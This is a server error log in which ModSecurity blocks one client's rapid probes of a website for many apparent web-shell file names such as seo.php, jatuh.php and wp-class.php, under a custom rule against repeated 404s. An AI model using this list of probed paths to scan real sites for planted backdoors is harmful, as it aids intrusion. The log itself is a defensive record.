[Thu Apr 16 06:56:28.429979 2026] [:error] [pid 57536:tid 57569] [client 20.199.125.41:56775] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aeAXnCQU4faGja6jpDuF8AAAABU"]
[Thu Apr 16 06:56:29.491535 2026] [:error] [pid 49094:tid 49112] [client 20.199.125.41:28998] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aeAXnTbDwvcXorHR_MyjaAAAAVA"]
[Thu Apr 16 06:56:33.817650 2026] [:error] [pid 49094:tid 49110] [client 20.199.125.41:3260] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aeAXoTbDwvcXorHR_MyjdAAAAU4"]
[Thu Apr 16 06:56:36.774572 2026] [:error] [pid 49094:tid 49116] [client 20.199.125.41:12705] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jatuh.php"] [unique_id "aeAXpDbDwvcXorHR_MyjegAAAVQ"]
[Thu Apr 16 06:56:38.678910 2026] [:error] [pid 29603:tid 29614] [client 20.199.125.41:9153] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jatuh.php"] [unique_id "aeAXplfGOR6fpTWUAzrVrAAAAQk"]
[Thu Apr 16 06:56:41.509294 2026] [:error] [pid 49094:tid 49118] [client 20.199.125.41:10715] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jatuh.php"] [unique_id "aeAXqTbDwvcXorHR_MyjggAAAVY"]
[Thu Apr 16 06:56:43.709103 2026] [:error] [pid 29603:tid 29626] [client 20.199.125.41:56831] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jatuh.php"] [unique_id "aeAXq1fGOR6fpTWUAzrV1QAAARU"]
[Thu Apr 16 06:56:44.404994 2026] [:error] [pid 49094:tid 49097] [client 20.199.125.41:34702] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/green.php"] [unique_id "aeAXrDbDwvcXorHR_MyjigAAAUE"]
[Thu Apr 16 06:56:45.520961 2026] [:error] [pid 49094:tid 49115] [client 20.199.125.41:34747] File does not exist: /usr/local/apache/htdocs/suspended-page/green.php
[Thu Apr 16 06:56:45.785546 2026] [:error] [pid 49094:tid 49110] [client 20.199.125.41:34747] File does not exist: /usr/local/apache/htdocs/suspended-page/multirole.php
[Thu Apr 16 06:56:46.050964 2026] [:error] [pid 49094:tid 49098] [client 20.199.125.41:34747] File does not exist: /usr/local/apache/htdocs/suspended-page/RIP.php
[Thu Apr 16 06:56:46.485874 2026] [:error] [pid 49094:tid 49108] [client 20.199.125.41:34747] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-act.php
[Thu Apr 16 06:56:46.799722 2026] [:error] [pid 49094:tid 49107] [client 20.199.125.41:34747] File does not exist: /usr/local/apache/htdocs/suspended-page/cobaini.php
[Thu Apr 16 06:56:47.119728 2026] [:error] [pid 49094:tid 49106] [client 20.199.125.41:34747] File does not exist: /usr/local/apache/htdocs/suspended-page/mmp.php
[Thu Apr 16 06:56:47.518409 2026] [:error] [pid 49094:tid 49113] [client 20.199.125.41:34747] File does not exist: /usr/local/apache/htdocs/suspended-page/sf.php
[Thu Apr 16 06:56:48.135613 2026] [:error] [pid 49094:tid 49112] [client 20.199.125.41:34747] File does not exist: /usr/local/apache/htdocs/suspended-page/xozx.php
[Thu Apr 16 06:56:48.643691 2026] [:error] [pid 49094:tid 49116] [client 20.199.125.41:34747] File does not exist: /usr/local/apache/htdocs/suspended-page/clque.php
[Thu Apr 16 06:56:49.314501 2026] [:error] [pid 49094:tid 49120] [client 20.199.125.41:34747] File does not exist: /usr/local/apache/htdocs/suspended-page/albrt.php
[Thu Apr 16 06:56:49.578510 2026] [:error] [pid 49094:tid 49119] [client 20.199.125.41:34747] File does not exist: /usr/local/apache/htdocs/suspended-page/ahaoi.php
[Thu Apr 16 06:56:50.295430 2026] [:error] [pid 49094:tid 49097] [client 20.199.125.41:34747] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bogles.php"] [unique_id "aeAXsjbDwvcXorHR_MyjnAAAAUE"]
[Thu Apr 16 06:56:51.216414 2026] [:error] [pid 49094:tid 49115] [client 20.199.125.41:58951] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bogles.php"] [unique_id "aeAXszbDwvcXorHR_MyjngAAAVM"]
[Thu Apr 16 06:56:52.125540 2026] [:error] [pid 57639:tid 57655] [client 20.199.125.41:9120] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bogles.php"] [unique_id "aeAXtKMCQoTw7TsxWunRLwAAAMk"]
[Thu Apr 16 06:56:52.789394 2026] [:error] [pid 49094:tid 49118] [client 20.199.125.41:58964] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bogles.php"] [unique_id "aeAXtDbDwvcXorHR_MyjogAAAVY"]
[Thu Apr 16 06:56:54.028313 2026] [:error] [pid 29603:tid 29611] [client 20.199.125.41:9139] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "aeAXtlfGOR6fpTWUAzrV6QAAAQY"]
[Thu Apr 16 06:56:55.909923 2026] [:error] [pid 29603:tid 29625] [client 20.199.125.41:19506] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "aeAXt1fGOR6fpTWUAzrV_AAAARQ"]
[Thu Apr 16 06:56:57.766879 2026] [:error] [pid 57536:tid 57556] [client 20.199.125.41:27714] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "aeAXuSQU4faGja6jpDuF_wAAAAg"]
[Thu Apr 16 06:56:58.384058 2026] [:error] [pid 49094:tid 49099] [client 20.199.125.41:57774] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "aeAXujbDwvcXorHR_MyjrAAAAUM"]
[Thu Apr 16 06:56:59.376766 2026] [:error] [pid 57639:tid 57667] [client 20.199.125.41:29984] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aeAXu6MCQoTw7TsxWunRPwAAANU"]
[Thu Apr 16 06:57:00.405109 2026] [:error] [pid 49094:tid 49100] [client 20.199.125.41:49019] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aeAXvDbDwvcXorHR_MyjrgAAAUQ"]
[Thu Apr 16 06:57:02.249321 2026] [:error] [pid 57537:tid 57578] [client 20.199.125.41:19494] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aeAXvlVQRS8nm73ENAk5vgAAAEM"]
[Thu Apr 16 06:57:03.974644 2026] [:error] [pid 57536:tid 57555] [client 20.199.125.41:60209] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aeAXvyQU4faGja6jpDuGAQAAAAc"]
[Thu Apr 16 06:57:04.868377 2026] [:error] [pid 49094:tid 49114] [client 20.199.125.41:58990] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/unloathness.php"] [unique_id "aeAXwDbDwvcXorHR_MyjtQAAAVI"]
[Thu Apr 16 06:57:05.832760 2026] [:error] [pid 29603:tid 29608] [client 20.199.125.41:60811] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/unloathness.php"] [unique_id "aeAXwVfGOR6fpTWUAzrWRgAAAQM"]
[Thu Apr 16 06:57:06.636467 2026] [:error] [pid 57538:tid 57613] [client 20.199.125.41:9134] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/unloathness.php"] [unique_id "aeAXwsuMaiEF5SVR2BdBLgAAAIs"]
[Thu Apr 16 06:57:08.770232 2026] [:error] [pid 29603:tid 29622] [client 20.199.125.41:3253] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/unloathness.php"] [unique_id "aeAXxFfGOR6fpTWUAzrWTQAAARE"]
[Thu Apr 16 06:57:11.937124 2026] [:error] [pid 57536:tid 57566] [client 20.199.125.41:23898] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doo.php"] [unique_id "aeAXxyQU4faGja6jpDuGDAAAABI"]
[Thu Apr 16 06:57:13.144328 2026] [:error] [pid 57536:tid 57559] [client 20.199.125.41:48962] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doo.php"] [unique_id "aeAXySQU4faGja6jpDuGDQAAAAs"]
[Thu Apr 16 06:57:14.382151 2026] [:error] [pid 49094:tid 49110] [client 20.199.125.41:49022] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doo.php"] [unique_id "aeAXyjbDwvcXorHR_MyjugAAAU4"]
[Thu Apr 16 06:57:15.105115 2026] [:error] [pid 57639:tid 57662] [client 20.199.125.41:27757] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doo.php"] [unique_id "aeAXy6MCQoTw7TsxWunRRwAAANA"]
[Thu Apr 16 06:57:17.895054 2026] [:error] [pid 57538:tid 57624] [client 20.199.125.41:3214] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x123.php"] [unique_id "aeAXzcuMaiEF5SVR2BdBOwAAAJY"]
[Thu Apr 16 06:57:18.567606 2026] [:error] [pid 57538:tid 57604] [client 20.199.125.41:27744] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x123.php"] [unique_id "aeAXzsuMaiEF5SVR2BdBPgAAAII"]
[Thu Apr 16 06:57:19.706689 2026] [:error] [pid 57538:tid 57606] [client 20.199.125.41:19534] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x123.php"] [unique_id "aeAXz8uMaiEF5SVR2BdBRgAAAIQ"]
[Thu Apr 16 06:57:20.926909 2026] [:error] [pid 29603:tid 29614] [client 20.199.125.41:3252] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x123.php"] [unique_id "aeAX0FfGOR6fpTWUAzrWWgAAAQk"]
[Thu Apr 16 06:57:21.732878 2026] [:error] [pid 49094:tid 49096] [client 20.199.125.41:27770] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/h2.php"] [unique_id "aeAX0TbDwvcXorHR_MyjxAAAAUA"]
[Thu Apr 16 06:57:23.892558 2026] [:error] [pid 49094:tid 49111] [client 20.199.125.41:12680] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/h2.php"] [unique_id "aeAX0zbDwvcXorHR_MyjyQAAAU8"]
[Thu Apr 16 06:57:24.676300 2026] [:error] [pid 49094:tid 49120] [client 20.199.125.41:49011] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/h2.php"] [unique_id "aeAX1DbDwvcXorHR_MyjzgAAAVg"]
[Thu Apr 16 06:57:25.595323 2026] [:error] [pid 57538:tid 57625] [client 20.199.125.41:29961] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/h2.php"] [unique_id "aeAX1cuMaiEF5SVR2BdBUAAAAJc"]
[Thu Apr 16 06:57:26.474928 2026] [:error] [pid 57538:tid 57606] [client 20.199.125.41:10733] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/greateb.php"] [unique_id "aeAX1suMaiEF5SVR2BdBUwAAAIQ"]
[Thu Apr 16 06:57:27.430937 2026] [:error] [pid 57537:tid 57599] [client 20.199.125.41:58977] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/greateb.php"] [unique_id "aeAX11VQRS8nm73ENAk5ygAAAFg"]
[Thu Apr 16 06:57:28.628626 2026] [:error] [pid 57639:tid 57652] [client 20.199.125.41:16367] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/greateb.php"] [unique_id "aeAX2KMCQoTw7TsxWunRTwAAAMY"]
[Thu Apr 16 06:57:29.535179 2026] [:error] [pid 57537:tid 57591] [client 20.199.125.41:9124] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/greateb.php"] [unique_id "aeAX2VVQRS8nm73ENAk5ywAAAFA"]
[Thu Apr 16 06:57:31.203830 2026] [:error] [pid 49094:tid 49110] [client 20.199.125.41:49012] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class.php"] [unique_id "aeAX2zbDwvcXorHR_Myj2AAAAU4"]
[Thu Apr 16 06:57:31.931835 2026] [:error] [pid 29603:tid 29622] [client 20.199.125.41:57752] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class.php"] [unique_id "aeAX21fGOR6fpTWUAzrWdwAAARE"]
[Thu Apr 16 06:57:32.613472 2026] [:error] [pid 49094:tid 49100] [client 20.199.125.41:57791] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class.php"] [unique_id "aeAX3DbDwvcXorHR_Myj2wAAAUQ"]
[Thu Apr 16 06:57:33.414456 2026] [:error] [pid 29603:tid 29629] [client 20.199.125.41:9937] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class.php"] [unique_id "aeAX3VfGOR6fpTWUAzrWeQAAARg"]
[Thu Apr 16 06:57:35.500313 2026] [:error] [pid 57639:tid 57653] [client 20.199.125.41:10693] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mjq.php/kma.php"] [unique_id "aeAX36MCQoTw7TsxWunRVgAAAMc"]
[Thu Apr 16 06:57:37.000366 2026] [:error] [pid 49094:tid 49112] [client 20.199.125.41:28977] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mjq.php/kma.php"] [unique_id "aeAX4DbDwvcXorHR_Myj3gAAAVA"]
[Thu Apr 16 06:57:37.961458 2026] [:error] [pid 49094:tid 49099] [client 20.199.125.41:10967] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mjq.php/kma.php"] [unique_id "aeAX4TbDwvcXorHR_Myj4gAAAUM"]
[Thu Apr 16 06:57:39.782994 2026] [:error] [pid 49094:tid 49108] [client 20.199.125.41:12503] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mjq.php/kma.php"] [unique_id "aeAX4zbDwvcXorHR_Myj6gAAAUw"]
[Thu Apr 16 06:57:41.062480 2026] [:error] [pid 49094:tid 49118] [client 20.199.125.41:12484] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bjeni.php"] [unique_id "aeAX5TbDwvcXorHR_Myj7AAAAVY"]
[Thu Apr 16 06:57:42.574049 2026] [:error] [pid 29603:tid 29627] [client 20.199.125.41:42101] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bjeni.php"] [unique_id "aeAX5lfGOR6fpTWUAzrWhwAAARY"]
[Thu Apr 16 06:58:45.888879 2026] [:error] [pid 57536:tid 57558] [client 20.199.125.41:36556] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/export.php"] [unique_id "aeAYJSQU4faGja6jpDuGNwAAAAo"]
[Thu Apr 16 06:58:47.109122 2026] [:error] [pid 49094:tid 49120] [client 20.199.125.41:11433] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/export.php"] [unique_id "aeAYJzbDwvcXorHR_MykXgAAAVg"]
